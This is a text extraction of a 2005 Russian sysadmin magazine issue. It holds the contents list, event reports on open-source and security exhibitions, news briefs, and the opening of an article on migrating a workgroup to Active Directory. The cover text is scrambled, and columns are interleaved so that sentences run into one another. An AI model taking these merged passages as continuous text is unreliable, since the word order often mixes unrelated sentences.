Вы находитесь на странице: 1из 98

Так видит журнал читатель, который забыл оформить подписку:

СЬ

ЛИ
ЛИ
ТЯ Е

Ж ПИ
ЗА ДНИ
НУ

РА КУ
ЛЫ ГО

ТИ РАС
КУ ВО

О
НИ НО

ТР
№9(34) сентябрь 2005

С
БЫ
подписной индекс 81655
КА

www.samag.ru

Клонируем Windows

И
ЬГ
с помощью Symantec Ghost

ЬД О
РА СКА
ТЕ
К

ИС НН
ЕН
УС

БО
НА ТПУ

ИЛ ДА
ТП

НЧ ЖИ
ВО

РА Е О

КО НЕО
АВ СЛ
Л

Подключаем сетевые ресурсы


Л
ХА

ПО
УЕ

ЗА
в автоматическом режиме
Active Directory
Directory вместо
Так видит журнал читатель, оформивший подписку: рабочей группы
Устойчива ли ваша сеть?
WHoppix проверит!
Как спасти данные,
если отказал жесткий диск
«Бритва» для спама:
обзор анализатора Razor
Все ли возможности ClamAV
вы используете?
ПОДПИШИТЕСЬ И ЧИТАЙТЕ! Протокол SILC обеспечит вам
№9(34) сентябрь 2005

безопасную конференц-связь
Роспечать – 81655
Пресса России – 87836 Аккуратная настройка SSI
Интер-почта – тел. (095) 500-00-60
оглавление
2 РЕПОРТАЖ 62 Устойчива ли ваша сеть?
Проверьте с помощью WHoppix!
7 ТЕНДЕНЦИИ LiveCD-дистрибутив WHoppix поможет протестировать
систему на устойчивость к сетевым вторжениям.
АДМИНИСТРИРОВАНИЕ Илья Александров
ilya_al@rambler.ru
8 Домены Windows 2000/2003 –
отказываемся от рабочей группы 68 Определяем уязвимость веб-сервиса
Как безболезненно перейти к доменной структуре. с помощью Acunetix Web Vulnerability
Роман Марков Scanner
stepan-razin@newmail.ru Протестируйте свой веб-сайт на наличие слабых мест.
Сергей Яремчук
12 Symantec Ghost, grinder@ua.fm
или Как сделать клон своими руками
Эффективно управляем рабочими станциями. WEB
Михаил Платов
platov@cs.vsu.ru 70 Аккуратная настройка SSI
Оптимизации SSI уделяется очень мало внимания. Се-
20 Подключаем сетевые ресурсы годня мы восполним этот пробел.
в автоматическом режиме Алексей Мичурин
Создаем скрипт для интеллектуального управления alexey@office-a.mtu-net.ru
сетевыми дисками. Иван Коробко
ikorobko@prosv.ru СЕТИ
28 Управляем удаленными базами AIDE 76 Протоколы сетей хранения данных
Часть II – AIDEstart Часть I – ATA over Ethernet
Скрипт AIDEStart очень пригодится вам для запуска Первая статья из цикла о протоколах SAN-сетей.
AIDE на взломанной или поврежденной машине. Антон Борисов
Рашид Ачилов a.borisov@tesv.tmb.ru
shelton@granch.ru
HARDWARE-ПРАКТИКУМ
32 Создаем загружаемый Flash-диск
с FreeBSD и DOS. Часть I 80 Как спасти данные,
Методика создания образа своими руками. если отказал жесткий диск
Рашид Ачилов Ремонт и востановление жестких дисков.
shelton@granch.ru Крис Касперски
kk@sendmail.ru
42 Организуем доступ в Интернет
с использованием биллинговой системы РЕТРОСПЕКТИВА
FreeNIBS
Система доступа к Сети с гибким инструментом адми- 88 С чего начинался российский Интернет
нистрирования. Евгений Литвиненко Наша история: первые десять лет развития русского
evg_ltv@mail.ru сегмента Сети.
Алексей Коршунов
46 «Бритва» для спама akeeper@akeeper.ru
Обзор сигнатурного анализатора Razor.
Сергей Супрунов КНИЖНАЯ ПОЛКА
amsand@rambler.ru
92 Обзор книжных новинок
48 Настраиваем основные компоненты Александр Байрак
почтового сервера x01mer@pisem.net
Связка Postfix + MySQL + Courier-IMAP + fetchmail +
SquirrelMail. Евгений Литвиненко 19, 27, 31, 41 BUGTRAQ
evg_ltv@mail.ru

БЕЗОПАСНОСТЬ
52 Все ли возможности ClamAV
вы используете?
Функциональность ClamAV гораздо шире, чем простое
сканирование файлов на вирусы. Все на
подпи
Авраменко Андрей
liks@altlinux.ru ску-20
06!
56 Протокол SILC обеспечит вам
безопасную конференц-связь
Организуем безопасное общение по незащищенным
каналам.
Сергей Яремчук
grinder@ua.fm

№9, сентябрь 2005 1


репортаж

В ПОСЕЛКЕ АРХЫЗ УСПЕШНО ПРОШЕЛ


OPEN SOURCE FORUM 2005

С 15 по 17 сентября в посёлке Архыз состоялся Open Source Forum 2005. Его организаторы –
ITX Community совместно с Северо-Кавказской группой пользователей Linux (NC LUG) уже
второй год собирают специалистов, связанных с движением Open Source. Участники форума
получили возможность не только обменяться опытом разработки и внедрения открытых
решений, обсудить последние события в мире информационных технологий, но и пообщаться
с единомышленниками в неформальной обстановке. Да и просто хорошо отдохнуть
в экологически чистом, живописном уголке России на высоте 1470 метров над уровнем моря,
вдали от цивилизации.

М
ожно считать, что форум начал свою работу еще Community Артем Солодченко пояснил цели и задачи, кото-
в Ростове-на-Дону, за несколько часов до отъез- рые организация ставит перед собой, проводя OSF. Пред-
да в п. Архыз. Ожидание автобуса как-то незамет- ставитель консалтинговой службы Novell Виталий Сайфул-
но перетекло в дебаты о различных дистрибутивах Linux и лин рассказал присутствующим о взглядах Novell на движе-
подобные темы. Да и в самом автобусе споры не прекра- ние Open Source, а также продемонстрировал SUSE Linux
щались почти до самого пансионата. Enterprise Server 9.
По различным причинам в Архыз съехалось заметно В дальнейшую работу форума по техническим причинам
меньшее количество участников, чем было зарегистри- (пансионат остался на несколько часов без электричества) бы-
ровано, тем не менее были представлены многие регио- ли внесены некоторые коррективы, и первые доклады участ-
ны России (Москва, Рязань, Каменск-Уральский, Уренгой ников проходили прямо под открытым небом, что сделало об-
и др.), так что OSF’05 можно совершенно обоснованно на- щение еще более неформальным. Практически каждое вы-
звать всероссийским мероприятием. ступление вызывало неподдельный интерес и порождало на-
Первый официальный день работы форума начался столько горячие и продолжительные споры, что организаторы
с выступлений организаторов и спонсоров. Президент ITX уже и не пытались вернуть участников в рамки регламента.

2
репортаж
Диапазон тем, затронутых выступающими, был весь-
ма широк: от вопросов использования бездисковых тер-
миналов в локальных сетях предприятий и преимуществ
FreeBSD-шлюза перед решениями на базе Windows до при-
кладных аспектов безопасности операционных систем и
проблем лицензирования ПО.
Второй день начался с экскурсии на Софийские водо-
пады. Каждый горел желанием совершить хотя бы неболь-
шое восхождение, так что рабочая часть была отодвинута
на вечер. Началась она с выступления Дениса Сосновцева
(IBM, Центр компетенции Linux), рассказавшего присутству-
ющим о поддержке компанией IBM движения Open Source, а
также представившего разработку IBM Workplace. По мне-
нию представителя IBM, Linux не должен повторить судь-
бу UNIX, разбившись на несколько десятков независимых
проектов. Тем не менее в компании видят необходимость Ростов-на-Дону, перед отъездом
сохранить для конечных пользователей возможность вы-
бора между несколькими поставщиками решений.
Слушание докладов, уже «при поддержке» проектора,
продолжалось почти до полуночи. Этот день можно назвать
днем разработчиков – основная доля выступлений касалась
конкретных решений. Были представлены примеры трех-
звенных приложений на базе Mozilla, один из разработчи-
ков RTK Linux рассказал об особенностях этого дистрибу-
тива. Обсуждение каждого доклада по-прежнему стреми-
лось затянуться на неопределенный срок.
Последний день был посвящен оставшимся докладам
и завершающим выступлениям. Наибольший интерес при- Дмитрий Яценко – координатор проекта
влек доклад Николая Кривченкова (Рязанский LUG) на тему
«Система оптического распознавания для Linux». Помимо
огромной работы собственно по разработке системы автор
представил и потрясающий по качеству видеоматериал, ко-
торый сделал доклад ярким и незабываемым.
По дороге домой кое-где в автобусе еще продолжались
споры о том, насколько «тонкими» должны быть клиенты,
о преимуществах и недостатках Slackware и т. п. Было оче-
видно, что форум удался…
В целом можно сказать, что задачи, поставленные перед
форумом, были полностью выполнены. Всего было заслу-
шано 11 докладов, и каждый увозил домой не только мас-
су полезной информации, множество свежих идей и подар- Д. Сосновцев (Центр компетенции Linux, IBM): «Мы черпаем
ки от спонсоров, но и самые лучшие впечатления от заме- вдохновение в свободном ПО и все больше и больше в него
втягиваемся»
чательной природы, общения с хорошими людьми, а так-
же желание еще глубже окунуться в необъятный и полный
возможностей мир Open Source.
Спонсорами форума выступили компании IBM и Мега-
фон, техническую и информационную поддержку оказала
компания Novell, порталы OpenNET, nixp.ru, журнал «Сис-
темный администратор», представительство D-Link в Рос-
тове-на-Дону и ряд других компаний и организаций.
Хочется поблагодарить организаторов и всех, кто под-
держал идею проведения данного мероприятия, за пре-
красно (а главное – с пользой) проведенное время, и выра-
зить надежду, что в следующем году форум пройдет с еще
большим размахом. Ну а мы будем следить за новостями
на сайте проекта: www.itx.ru.

Сергей Супрунов
Фото автора
Экскурсия к водопадам

№9, сентябрь 2005 3


репортаж

ТРИ СПЕЦИАЛИЗИРОВАННЫЕ ВЫСТВКИ


ОДНОВРЕМЕННО ПРОШЛИ В ГОСТИНОМ ДВОРЕ
Сентябрь в этом году
выдался «урожайным»
на выставки.
С 7 по 9 сентября в самом
центре столицы, на Ильинке,
в выставочном комплексе
«Гостиный Двор» прошли
сразу три выставки – первая
в России Международная
специализированная
выставка-конференция
LinuxWorld Russia 2005,
а также Infosecurity Russia
и StorageExpo.

О
рганизаторами выступили вы- сутствовал даже стенд от абсолютно льзя не упомянуть о сделанном на вы-
ставочное объединение «Рес- некоммерческого проекта – свободной ставке заявлении вице-президента
тэк» совместно с компанией ReactOS. Среди участников можно на- Red Hat по международным прода-
Reed Exhibitions и IDG World Expo. звать IBM, Red Hat, Oracle, Intel, Novell, жам о том, что Red Hat начинает офи-
Стенды LinuxWorld занимали не R-Style, ALT Linux, ASPLinux, Линукс циальную поддержку русского языка в
треть, а визуально не более одной пя- Инк, Инвента, Linuxcenter.Ru, Naumen. Red Hat Enterprise Linux и предоставит
той площади. Тем не менее на выстав- Наибольшее оживление царило своим клиентам официальную подде-
ке было представлено большое число у стенда компании Linuxcenter.Ru. Впро- ржку на русском языке. Возможно, этот
как отечественных, так и зарубежных чем, это и неудивительно – помимо то- шаг необходимо было сделать несколь-
компаний, занимающихся бизнесом, го, что данный стенд был единственным ко раньше – это бы поспособствовало
связанным с Linux и Open Source. При- мини-магазином на выставке, где мож- большей популярности данного дист-
но было приобрести с де- рибутива корпоративного уровня. По-
сяток разных дистрибу- ка же на территории России подде-
тивов ОС Linux и различ- ржку на русском языке осуществляли
ную атрибутику, компания московская «Инвента» и «Линукс Инк»
представляла обществен- из Санкт-Петербурга. Достаточно ин-
ности сразу две новин- тересной была демонстрация откры-
ки. Это новый ежемесяч- той операционной системы ReactOS.
ный переводной журнал, Данная ОС, разрабатываемая в рам-
целиком посвященный ках проекта Open Source, совместима
ОС Linux – LinuxFormat, с приложениями и драйверами линей-
и вторая новинка – пред- ки ОС Windows NT. Коллектив разра-
ставленный совместно ботчиков тесно взаимодействует с про-
с питерским ветераном ектом Wine – осуществляется взаи-
российского рынка свобод- мовыгодный обмен кодом. На выста-
ного ПО – Линукс Инк дис- ке была продемонстрирована уже ста-
трибутив Scientific Linux 4.1 бильно работающая реализация стека
Cyrilic Edition, обзор кото- TCP/IP. В ближайшее время планирует-
рого вы сможете прочесть ся добиться стабильной работы пакета
в следующем номере на- MS Office и бухгалтерских програм раз-
шего журнала. работки 1С. Из примерно 25 разработ-
Говоря о русифициро- чиков ReactOS трое – наши соотечес-
На стенде журнала – исполнительный директор
Владимир Положевец и автор Андрей Маркелов ванных дистрибутивах, не- твенники. ReactOS распространяется

4
репортаж
по лицензии GNU и доступна для за- Отличительной особенностью ста-
грузки всем желающим на сайте http:// ла насыщенная конференционная про- Никлаус Вирт выступил
www.reactos.com. Будем надеяться, что грамма: 4 «круглых стола», 8 секцион- с лекцией в Москве
и в следующем году LinuxWorld распах- ных заседаний, 17 программных вы-
нет двери посетителям, и представит ступлений и 33 семинара компаний-
множество интересных новинок. участников выставки прошли одновре-
В этом году выставка Infosecurity менно в четырёх конференц-залах.
прошла при поддержке аппарата Со- Storage Expo Russia является пре-
вета безопасности РФ, Федеральной емницей серии выставок Storage Expo,
службы по техническому и экспортно- успешно проводимых компанией Reed
му контролю РФ, Федерального агент- Exhibitions в 10 странах мира (www.
ства по информационным технологиям storage-global.com). Были представле-
РФ, Федеральной службы безопаснос- ны новые решения по хранению дан-
ти России, МОО «Ассоциация Защиты ных от крупнейших производителей
Информации». и поставщиков, таких как Adaptec, Cisco 21 сентября в Московском Поли-
Приняли участие крупнейшие произ- Systems, EMC Computer Systems, Hitachi техническом музее прошла лекция
водители и поставщики, такие как – Aladdin Data Systems, Hewlett-Packard, IBM, знаменитого ученого с мировым
Software Security R.D., Cisco Systems, Network Appliance, Sony, StorageTek, Sun именем, профессора Высшей По-
Check Point Software Technologies Ltd., Microsystems, Symantec, Электронный литехнической школы ETH г. Цюри-
IBM, Internet Security Systems, McAfee, архив, а также крупнейших дистрибью- ха, «отца структурных языков про-
Nortel, Sun Microsystems, Symantec, торов и интеграторов – АМТ Груп, Инфо- граммирования» Никлауса Вирта
Trend Micro, ДиалогНаука, ИНФОРМ- системы Джет, КРОК, ТехноСерв, INLINE (Niklaus Wirth).
ЗАЩИТА, Лаборатория Касперского, Technologies, Kraftway, TopsBI и другие. Его приезд в Россию был приуро-
ЭЛВИС-ПЛЮС, а также крупнейшие Можно сказать, что все три выставки чен к празднованию 250-летия МГУ
дистрибьюторы и интеграторы – АМТ удались, и каждый из посетителей мог им. Ломоносова и 150-летию швейцар-
Груп, Инфосистемы Джет, TopsBI, Груп- найти что-то интересное для себя. ского ETH. Лекция называлась «Ис-
па компаний КомпьюЛинк, Корпорация тория и перспективы языка Оберон».
ЮНИ, ЛАНИТ, ТехноСерв. Андрей Маркелов В лекции профессор кратко расска-
зал о истории создания языка Обе-
рон. Путь к Оберону лежал через язы-
ки программирования Паскаль и Мо-
дула-2, автором которых также явля-
ется Вирт. По окончании лекции, отве-
чая на вопросы слушателей, профес-
сор поделился некоторыми интерес-
ными замечаниями, напрямую не от-
носящимися к теме доклада. Напри-
мер, собравшиеся в аудитории могли
узнать, что Вирту не нравится термин
ООП «наследование», поскольку, как
он сказал, «наследуют обычно, когда
кто-то умер». Также профессор поже-
лал российским коллегам поменьше
оглядываться на США и не копиро-
вать вслепую американскую модель
ценностей, что, как он заметил, про-
исходит сейчас.

Андрей Маркелов
Площадка Infosecurity Фото автора
с
он

27-28 Конференция для разработчиков программного обеспечения


ан

октября Software Engineering Conference (Russia)


Основные темы, которые будут представлены на конференции, – последние технологии в сфере разработки ПО, управление про-
цессами разработки ПО, управление человеческими ресурсами. Предполагаемая аудитория конференции – более 700 специалис-
тов в области разработки ПО из России и стран СНГ, а также приглашенные гости и «гуру» из США и Европы. Конференция для раз-
работчиков программного обеспечения SEC(R) будет проходить в Москве, в Международном информационно-выставочном центре
«ИнфоПространство». Регистрация участников на сайте конференции: http://secr.ru.

№9, сентябрь 2005 5


репортаж

ИТОГИ ВЫСТАВКИ SOFTOOL 2005


Вслед за LinuxWorld Russia 2005 в конце сентября в Москве уже в шестнадцатый раз
посетителям открыла двери крупнейшая в России ежегодная Международная выставка
информационных технологий SofTool 2005.

К
аждый год SofTool собирает практически все более- ния, это мероприятие было целиком и полностью посвяще-
менее известные российские и зарубежные ком- но Linux и Open Source. По замыслу организаторов (кото-
пании, работающие в сфере IT, представляющие рый, впрочем, был реализован в полной мере), предпола-
на стендах свои новые достижения за прошедший год. галось собрать под одной крышей различных производи-
В этом году под крышей просторного павильона их собра- телей и поставщиков решений для открытой ОС: ASPLinux,
лось более трех сотен. Мероприятие традиционно проводит- MOPSLinux, Smart Software, EterSoft, Linux Format, LYNX
ся при поддержке Российской академии наук, Федерально- Education Center, Linux Ink и CITKIT. Кроме традиционных
го Агентства по промышленности, Федерального Агентства стендов и демо-зоны, участники выставки могли посетить
по науке и инновациям, Федерального Агентства по инфор- конференцию или тематические мастер-классы: «Бизнес
мационным технологиям и Правительства Москвы. и Linux», «Информационная безопасность», «Linux в обра-
Из самых крупных и известных компаний, принявших зовании», «Технологические горизонты». На конференции
участие в выставке, можно назвать ABBYY Software House, прозвучали доклады как от лидеров индустрии (IBM, HP,
IBM, Intel, Microsoft, фирма 1С, АйТи, АСКОН, Гарант, Кон- Novell, Vdel Ltd./Red Hat), так и самостоятельных разработ-
сультант Плюс, Корпорация Галактика, Лаборатория Кас- чиков. Настоящий шквал вопросов вызвала презентация
перского, Корпорация Парус и многие другие. Алексея Брагина, представившего ReactOS – свободную ре-
На отдельных площадках выставки был развернут це- ализацию операционной системы, совместимой с Microsoft
лый ряд специализированных экспозиций. Так, в рамках Windows на уровне драйверов и прикладных программ.
«Мира Академии» свои разработки представили более де- Неизменной популярностью среди посетителей пользо-
сяти научных институтов Российской академии наук. Сек- вались и мастер-классы, которые часто проходили в «ин-
ция под названием «DocFlow» знакомила посетителей с ре- терактивном» режиме. В частности, компания R-Style раз-
шениями по автоматизации управления и системами элект- вернула сервер HP Proliant DL380 прямо в конференц-за-
ронного документооборота. На втором этаже была развер- ле и не на словах, а на деле доказала легкость и просто-
нута экспозиция «САПР’экспо–2005». Как следует из на- ту настройки и использования решений на базе HP/Linux.
звания, она была посвящена системам автоматизирован- Интерес вызывали и матер-классы, посвященные LiveCD
ного проектирования. Knoppix 3.7 RE (секция «Linux в образовании»), новой сис-
В течение всего времени работы выставки SofTool 2005 теме борьбы с нежелательной корреспонденцией, доклад
проводилась специализированная экспозиция – LinuxLand об Asterisk Дениса Смирнова и другие.
(www.linuxland.ru). Ее организаторами выступили компа- Можно сказать, что экспозиция прошла удачно. Система
нии Линуксцентр и Линукс Инк. Как легко понять из назва- 1С:Предприятие, работающая под управлением Linux и де-
монстрируемая в режиме он-лайн на стенде Etersoft, собира-
ла вокруг себя множество заинтересованных. Многие люди
приходили на LinuxLand не только затем, чтобы приобрести
(или получить в подарок) какие-либо продукты, но и для то-
го, чтобы поговорить с разработчиками, задать вопросы и
получить на них ответы. По сравнению с предыдущими вы-
ставками SofTool, не имевшими специализированной экс-
позиции, посвященной Open Source, можно отметить значи-
тельное уменьшение числа «случайных прохожих», то есть
людей, случайно заглянувших на стенд. Большая часть по-
сетителей Linux Land приходила целенаправленно на эту эк-
спозицию, а некоторые с мастерством истинных ценителей
– на определенный мастер-класс. Поэтому, несмотря на оп-
ределенные (кто-то может сказать – неизбежные для пре-
мьеры) технические накладки, можно сказать, что LinuxLand
удался. Хочется надеяться, что это мероприятие станет пер-
вым в длинной череде экспозиций, посвященных Linux и про-
движению открытых технологий в России!

Андрей Маркелов, Валентин Синицын


16 лет – солидный возраст для IT-выставки. SofTool всё это Фото Юрия Афанасьева
время сохраняет свою актуальность

6
тенденции
OpenOffice.org переходит на GNU LGPL ряна или украдена», – прокомментировал Петер Ларссон,
Компания Sun Microsystems объявила об отказе от лицен- исполнительный директор Pointsec Mobile Technologies.
зии Sun Industry Standard Source License (SISSL), в связи
с чем с SISSL прощаются и все открытые проекты Sun, ра- KNOPPIX вновь доступен и на LiveCD
нее использовавшие эту лицензию. Продукты Open Source, Вышедший во второй половине сентября очередной ре-
практиковавшие схему двух лицензий, одной из которых бы- лиз KNOPPIX – 4.0.2 – ознаменовал собой возврат к под-
ла SISSL, перешли к упрощению своей схемы лицензиро- держке редакции этого Linux-дистрибутива для LiveCD,
вания. Так, например, все релизы OpenOffice.org, что будут а не только LiveDVD, как это было с двумя предыду-
(и были) выпущены после выхода 2.0 Beta 2, распространя- щими версиями. Кроме того, в KNOPPIX 4.0.2 прове-
ются только на условиях GNU LGPL. Первой ласточкой стал дены обновления пакетов xserver-xfree86, xlibs, mozilla-
OOo 2.0 RC1, анонсированный в конце сентября. firefox и unionfs (до 20050921-1507), исправлены некото-
рые опции загрузки, а на DVD добавлены freemind, Debian
Противоречия в Mambo привели Anwenderhandbuch V3.0, amarok 1.2.4.
к появлению Joomla
Группа разработчиков из проекта по созданию открытой DragonFly BSD переходит на pkgsrc
CMS – Mambo – обнародовала собственную версию сис- Мэтт Диллон в почтовой рассылке пользователей DragonFly
темы под названием Joomla. Релиз Joomla 1.0 основан объявил о том, что в следующем релизе ОС DragonFly BSD
на Mambo 4.5.2.3, в него добавлены исправления оши- официальной системой управления пакетами будет pkgsrc.
бок и уязвимостей в безопасности. Так же, как и Mambo, Система пакетов NetBSD придет на смену «dfports» (версия
Joomla распространяется под лицензией GNU GPL. Разно- портов FreeBSD с исправлениями для DragonFly). Именно
гласия в проекте Mambo возникли в августе, когда разра- pkgsrc, а не dfports разработчики предпочитали использо-
ботчики отделились от компании Miro International, что ос- вать последние месяцы, так что переход стал вполне логич-
новала Mambo, а позже превратила его в источник дохо- ным звеном эволюции DragonFly BSD. Система pkgsrc пор-
дов. Почву для противоречий заложили вопросы управле- тируема, разработана NetBSD и официально поддержива-
ния ПО и контролирования интеллектуальной собственнос- ется проектом DragonFly с октября 2004 года. Позже на мо-
ти. Для этой задачи компанией Miro была учреждена орга- лодую BSD-платформу был портирован код стека беспро-
низация Mambo Foundation, однако разработчики заявили, водных устройств из ОС FreeBSD.
что реальный контроль сохранила за собой компания.
Составил Дмитрий Шурупов
Firefox скачали 90 миллионов раз по материалам www.nixp.ru
20 сентября (в 09:33:58 по Гринвичу) количество закачек
открытого веб-браузера Firefox достигло отметки в 90 мил-
лионов раз. Таким образом, до достижения заветных
100.000.000 скачиваний за первый год с момента выхода
Firefox 1.0 (9 ноября 2004) осталось преодолеть последнюю
десятую часть пути.

Появилась бета-версия Firefox 1.5


В начале месяца был представлен первый бета-релиз
Firefox 1.5 (Deer Park), среди новшеств которого можно вы-
делить систему автоматического обновления, улучшенную
блокировку всплывающих окон, усовершенствованную под-
держку Mac OS X, возможности DnD для вкладок. Финаль-
ный релиз Firefox 1.5 ожидается позже в этом году.

Pointsec анонсировала «полнодисковое


шифрование» для Linux
Компания Pointsec представила свой программнный про-
дукт для конечного Linux-пользователя, реализующий тех-
нологию FDE (full disk encryption, «полнодисковое шифро-
вание»), защищающую все данные на жестком диске. По
словам производителя, Pointsec for Linux предназначен для
«крупных технологических и телекоммуникационных корпо-
раций, нуждающихся в защите интеллектуальной собствен-
ности, хранимой на настольных компьютерах и лаптопах».
«Мы наблюдаем растущий мировой спрос на шифрование
данных на конечном оборудовании, таком, как ноутбуки, со
стороны многих индустрий, т.к. компании осознают угрозу
для информации, хранимой на их ПК, что может быть уте-

№9, сентябрь 2005 7


администрирование

ДОМЕНЫ WINDOWS 2000/2003 –


ОТКАЗЫВАЕМСЯ ОТ РАБОЧЕЙ ГРУППЫ

РОМАН МАРКОВ
Что делать, когда ваша сеть, сконфигурированная в качестве рабочей группы Windows,
перестала удовлетворять требованиям управляемости и удобной масштабируемости?
Ответ один – переходить на Active Directory! Однако прежде чем начинать подобный проект,
необходимо хорошо знать все его нюансы.

Т
енденция быстрого роста локаль- штат сотрудников расширяется. Одна- Именно в этот момент вам приходит-
ных сетей небольших компаний ко изначально все эти компьютеры яв- ся принимать решение о переходе к до-
наблюдается в наши дни повсе- ляются членами рабочей группы, в ко- менной структуре (Active Directory).
местно. Сначала это два-три компью- торой каждый участник равноправен. С какими трудностями вам при-
тера для бухгалтерии, затем еще по Администрировать такую сеть стано- дется столкнуться в первую очередь?
одному для директора, его замести- вится неудобно, так как понятия «цент- Что необходимо предусмотреть зара-
теля, секретаря, нескольких менедже- рализованное управление» и «рабочая нее, чтобы процесс перехода прошел
ров и т. д. Через какое-то время их ко- группа» являются взаимоисключаю- без сучка и задоринки? Сегодня я по-
личество опять увеличивается, так как щими. пытаюсь обобщить свой опыт подоб-

8
администрирование
ных внедрений, чтобы заранее облег- менной структуре абсолютно прозрач-
чить вашу задачу. ным для пользователей, необходимо
создать и заполнить анкеты для каж-
План перехода к Active дого рабочего места локальной сети.
Directory Если за одним компьютером работа-
Для реализации подобного перехода ют несколько пользователей, исполь-
необходимо заранее составить план зующих различные учетные записи
своих действий. Наибольшей произ- (или программное обеспечение), то та-
водительности своего труда вы достиг- кую анкету должен заполнить каждый
нете, выполняя все настройки в нера- из них. Форма может быть произволь-
бочее время. Оптимальным решени- ной, главное, чтобы были заполнены
ем является использование выходных требуемые поля. Это: имя компьюте-
дней, так как при количестве рабочих ра в сети, ФИО пользователя, имя его Рисунок 1. Подобную анкету должен
заполнить каждый пользователь
станций более 5-7 за один вечер завер- учетной записи, пароль, используемые
шить перевод скорее всего не удастся. программы, расположение рабочих до- ранее проконсультируйтесь с техни-
Необходимо помнить о том, что любые кументов и пр. Пример заполненной ческой поддержкой производителей
работы по глобальной перенастрой- анкеты приведен на рис. 1. программ на предмет того, что именно
ке системы могут занять в несколько Обяжите каждого пользователя се- вы должны архивировать. Некоторые
раз больше времени, чем планирова- ти заполнить подобную табличку перед такие программы защищены от копи-
лось. Поэтому вы должны быть увере- началом модернизации. Эту процеду- рования, поэтому после переустановки
ны в том, что расчетное время завер- ру полезно выполнять перед любыми системы просто перестанут работать,
шения всех работ в два(!) раза меньше действиями по переконфигурирова- что может явиться крайне критичным,
имеющегося в наличии. В противном нию пользовательских компьютеров – так как невозможность осуществить
случае вы рискуете получить нерабо- после переустановки системы вы вос- срочный платеж через систему Банк-
тоспособную систему в момент выхо- станавливаете все, что попросил поль- клиент – серьезная проблема для орга-
да пользователей на работу. зователь. Если он об этом в данном от- низации. Заранее договоритесь о вы-
Роль контроллера домена (да- чете не упомянул – значит, вы тем бо- зове специалиста для переустановки
лее КД) лучше доверить выделенно- лее не могли знать, чем он пользуется. подобных программ.
му для этих целей компьютеру (серве- Главное провести правильную предва-
ру). Понятие «выделенный» в данном рительную беседу, рассказав, для чего Полезные технические
случае означает, что никто не должен необходимо заполнять такую карточку подробности
использовать его в качестве рабочей и что вы не будете нести ответствен- С технической точки зрения рекомен-
станции. Эта рекомендация известна ности за те данные, которые не были дуется использовать на рабочих стан-
всем, но тем не менее еще раз напо- описаны. Конечно, такой подход более циях операционные системы не ни-
минаю об этом. Для несения роли КД применим к внедренческим фирмам же Windows 2000, так как более ран-
для 10-30 рабочих станций и такого же и не всегда возможен для штатного со- ние версии систем (Windows9x/ME,
количества пользователей подойдет трудника, однако он зарекомендовал Windows NT) не позволяют в полной
любой компьютер, удовлетворяющий себя с лучшей стороны. Иначе – в слу- мере распространять на них доменные
требованиям ОС Windows Server – на- чае потери данных виноватым всег- политики и настройки. Поэтому при на-
грузка на него при таких условиях бу- да окажется системный администра- личии возможности (технические ха-
дет невелика. Вполне достаточно сле- тор, который должен был на астраль- рактеристики компьютера и пр.) пере-
дующей конфигурации: Celeron-700, ном уровне догадаться, что пользова- установите ОС там, где необходимо.
256 RAM, 10 HDD. Однако не стоит за- тели хранят все документы в корзине! Помните, что перед любыми подоб-
бывать, что даже в небольших сетях Поверьте – я не фантазирую – это ре- ными работами необходимо создавать
должна обеспечиваться отказоустой- альная история из опыта нашей фир- архивную копию всех данных, нахо-
чивость, поэтому КД в домене долж- мы. Сотрудник, приехавший по заявке дящихся на перенастраиваемых сер-
но быть более одного. клиента о нехватке на диске свободно- верах. Опыт показывает, что нелиш-
Акцентирую ваше внимание на том, го места, первым делом очистил корзи- ним будет создать архивную копию
что данная статья не является техни- ну. Оказалось, что бухгалтер хранил в даже тех дисковых разделов, которые
ческой инструкцией по настройке конт- ней все документы. На вопрос: «Как же вы не собираетесь затрагивать в про-
роллера домена, введению в домен ра- вы их сохраняли?!» последовал невоз- цессе работы – лучше быть спокой-
бочих станций, заведению учетных за- мутимый ответ: «Сохраняла на рабо- ным за то, что все продублировано, чем
писей пользователей и пр. Об этом вы чем столе и перетаскивала». «случайно» установить новую систему
можете прочитать в [1], где вы найде- Внимательно отнеситесь к бухгал- не в тот раздел. Конечно, такое напо-
те советы по планированию перехода терским рабочим станциям – как пра- минание многим может показаться из-
от рабочей группы к домену. вило именно они изобилуют «нестан- лишним – ведь это и «само собой ра-
Следующий этап – подготовка сер- дартными» программами, такими как зумеется». К сожалению, практика по-
вера и клиентских рабочих мест. Банк-клиенты и специализированные казывает, что даже опытные специа-
Для того чтобы сделать переход к до- программы налоговой отчетности. За- листы иногда игнорируют это правило,

№9, сентябрь 2005 9


администрирование
желая сэкономить время (действитель- ! Избранное Internet Explorer: DNS, а от его работоспособности за-
но, процесс архивации данных – самый % U S E R P R O F I L E% \ И з б р а н - висит вся работа Active Directory. Реко-
длительный и утомительный). ное (про него часто забывают, мендуется сразу создать в домене пер-
Перед основным этапом работ про- а у пользователя может быть вую учетную запись пользователя, ра-
верьте следующее: сохранено огромное количест- бочую станцию которого мы будем вво-
! Должна быть сделана полная ко- во ссылок). дить в домен первой. После ввода про-
пия всех рабочих данных с сервера. Не совсем рациональным хране- веряем минимальную корректность на-
Их необходимо хранить отдельно, нием данных почтового ящика от- строек – вход в домен после перезаг-
на носителе, который вообще ни- личается и популярная почтовая рузки должен осуществляться не доль-
как не участвует в рабочем процес- программа The_BAT! – по умол- ше 1 минуты. Если очень продолжи-
се. После архивирования проведи- чанию они хранятся в папке с са- тельное время вы наблюдаете таблич-
те процедуру контрольного восста- мой программой. Кстати, не забы- ку «Применение параметров безопас-
новления – не всегда удается ско- вайте об использовании встроен- ности» – какие-то из настроек некор-
пировать все по каким-либо причи- ных мастеров экспорта и импор- ректны (чаще всего неправильно на-
нам (права доступа и пр.) Хорошей та данных, но не вздумайте слепо строен DNS-сервер, либо не он пропи-
проверкой на полноту архивации им доверять – после экспорта дан- сан в свойствах сетевого подключения
является перемещение, а не копи- ных всегда проверьте их импорт на клиента). Первый вход осуществляем
рование файлов – тогда после за- «чистую» систему. с учетными данными пользователя, ра-
вершения процедуры на источнике ! Все необходимые драйвера для пе- ботающего за этой рабочей станцией.
не должно остаться исходных дан- реустановки ОС на серверах и ра- В этот момент создается его профиль,
ных. Если что-то осталось – про- бочих станциях. Крайне рекомен- который будет соответствовать про-
верьте, скопировалось ли на ре- дуется иметь несколько «универ- филю данной системы по умолчанию.
зервный носитель. Если есть воз- сальных» дисков с драйверами по- Все предыдущие настройки останутся
можность, сделайте две копии – од- пулярных материнских плат и уст- в старом профиле пользователя. Если
ну на любую рабочую станцию в се- ройств. имя для входа в домен не отличается от
